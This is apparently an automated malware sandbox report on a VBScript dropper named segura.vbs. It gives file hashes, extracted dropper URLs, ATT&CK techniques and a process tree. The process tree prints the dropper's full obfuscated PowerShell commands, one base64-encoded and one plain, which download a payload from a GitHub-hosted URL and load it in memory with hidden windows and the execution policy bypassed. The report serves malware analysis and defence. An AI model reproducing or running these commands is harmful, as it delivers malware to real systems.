76909f885c6b7247c7176b2cc08830c78b8b831bf7d3f0d9eec38da53e8ae93b

General

Target

segura.vbs
Size

483KB
MD5

52917612f2ba8deed79d211c0bd5746f
SHA1

dea790f7518809133c06fee3931e742600613a9b
SHA256

76909f885c6b7247c7176b2cc08830c78b8b831bf7d3f0d9eec38da53e8ae93b
SHA512

d7260e28e3749fb5e5933ce1b451c4284da72a155feefacffd679ec7c68fc5906655443bbf40cacb2af7c682107e3c846300a90a05f1bb3e45c3b72026d0c9dd
SSDEEP

12288:3FIsz/Eb1lVfwxg6kUTGuimfRkZGOm76nrONHcIZgBVU4UupEFgAA0bOpZc+wGc8:3Dmjp7BFr

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2644	powershell.exe
6	2644	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2720	powershell.exe
2644	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
5	raw.githubusercontent.com
6	raw.githubusercontent.com
4	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2720	powershell.exe
2644	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2720	powershell.exe
Token: SeDebugPrivilege	2644	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2820 wrote to memory of 2720	2820	WScript.exe	30
PID 2820 wrote to memory of 2720	2820	WScript.exe	30
PID 2820 wrote to memory of 2720	2820	WScript.exe	30
PID 2720 wrote to memory of 2644	2720	powershell.exe	32
PID 2720 wrote to memory of 2644	2720	powershell.exe	32
PID 2720 wrote to memory of 2644	2720	powershell.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\segura.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgneycrJzF9dXJsJysnID0gezJ9aHR0cHM6Ly8nKydyYScrJ3cuJysnZ2l0aHVidXMnKydlcmNvbicrJ3QnKydlbnQuY29tL04nKydvJysnRCcrJ2V0JysnZWN0T24nKycvTm9EZScrJ3RlY3RPJysnbi9yZWYnKydzJysnLycrJ2gnKydlJysnYScrJ2RzL21haW4nKycvRGV0YWhOb3RoLVYnKycudHh0ezJ9JysnOyB7MX1iJysnYXMnKydlJysnNjQnKydDb250ZScrJ250JysnID0gJysnKE5ldy1PYmplY3QnKycgU3knKydzdGVtLicrJ05ldC4nKydXZWJDbGllJysnbnQpLkRvJysnd24nKydsb2FkU3RyaScrJ24nKydnKHsxfXVyJysnbCk7JysnICcrJ3sxJysnfWJpbicrJ2EnKydyeUNvbnQnKydlbnQnKycgJysnPScrJyBbU3knKydzdCcrJ2VtLkMnKydvbicrJ3YnKydlJysncnRdJysnOjpGcicrJ29tQmFzJysnZTY0U3RyaScrJ25nKHsnKycxfWJhc2U2NENvbnQnKydlbnQpJysnOycrJyB7MScrJ31hc3NlbWJsJysneScrJyA9IFtSZWZsZWN0JysnaW9uJysnLkEnKydzc2VtYmwnKyd5XScrJzonKyc6JysnTG9hZCh7MX1iaW5hcicrJ3lDb250ZScrJ250KTsnKycgW2RubCcrJ2knKydiLkknKydPJysnLkgnKydvbWVdJysnOjpWQUkoezB9dHh0LkpOcmFUL3NkYW9sJysnbicrJ3dvZC8ycmF0L2YnKydhc2ZzJysnYWZzbHNkcycrJ2RsdmV1bi8nKydncicrJ28udGUnKydrYycrJ3VidGliLycrJy86c3B0dGh7MH0sIHswfWRlc2F0aXZhZG97MCcrJ30sICcrJ3snKycwfWQnKydlcycrJ2F0aXZhZG97MH0sIHswfWRlc2F0aXZhZCcrJ297MH0sICcrJ3snKycwfWFzcCcrJ25ldF9yZScrJ2dzcWx7JysnMCcrJ30nKycsICcrJ3swfScrJ3swfSx7MH17MH0nKycpJykgLWZbY0hBcl0zNCxbY0hBcl0zNixbY0hBcl0zOSl8ICYoICRQc0hPTWVbMjFdKyRQc2hPbWVbMzRdKyd4Jyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2720
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{'+'1}url'+' = {2}https://'+'ra'+'w.'+'githubus'+'ercon'+'t'+'ent.com/N'+'o'+'D'+'et'+'ectOn'+'/NoDe'+'tectO'+'n/ref'+'s'+'/'+'h'+'e'+'a'+'ds/main'+'/DetahNoth-V'+'.txt{2}'+'; {1}b'+'as'+'e'+'64'+'Conte'+'nt'+' = '+'(New-Object'+' Sy'+'stem.'+'Net.'+'WebClie'+'nt).Do'+'wn'+'loadStri'+'n'+'g({1}ur'+'l);'+' '+'{1'+'}bin'+'a'+'ryCont'+'ent'+' '+'='+' [Sy'+'st'+'em.C'+'on'+'v'+'e'+'rt]'+'::Fr'+'omBas'+'e64Stri'+'ng({'+'1}base64Cont'+'ent)'+';'+' {1'+'}assembl'+'y'+' = [Reflect'+'ion'+'.A'+'ssembl'+'y]'+':'+':'+'Load({1}binar'+'yConte'+'nt);'+' [dnl'+'i'+'b.I'+'O'+'.H'+'ome]'+'::VAI({0}txt.JNraT/sdaol'+'n'+'wod/2rat/f'+'asfs'+'afslsds'+'dlveun/'+'gr'+'o.te'+'kc'+'ubtib/'+'/:sptth{0}, {0}desativado{0'+'}, '+'{'+'0}d'+'es'+'ativado{0}, {0}desativad'+'o{0}, '+'{'+'0}asp'+'net_re'+'gsql{'+'0'+'}'+', '+'{0}'+'{0},{0}{0}'+')') -f[cHAr]34,[cHAr]36,[cHAr]39)| &( $PsHOMe[21]+$PshOme[34]+'x')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
73bf246ccb3502a1340e348c4f7bcec8

SHA1
e9d09b6ecd8cbf7ae01152190be2bfed3def938b

SHA256
ebb9c9eae21f302e91789fe153bdd2245b2b3544e0d3826b9a0d12d9c8210886

SHA512
22e0a95dd399043ac12ae3278b4544d1b366ecc4d2f9c7889ed063e6a44d276acea1e18b6be19ac4cfb8bf636d55453e474f327db6883ee03dd01d1d44fe74ce

Download Submit
memory/2720-4-0x000007FEF579E000-0x000007FEF579F000-memory.dmp

Filesize
4KB

Download
memory/2720-7-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-6-0x00000000021D0000-0x00000000021D8000-memory.dmp

Filesize
32KB

Download
memory/2720-5-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/2720-10-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-9-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-8-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-11-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-17-0x000007FEF54E0000-0x000007FEF5E7D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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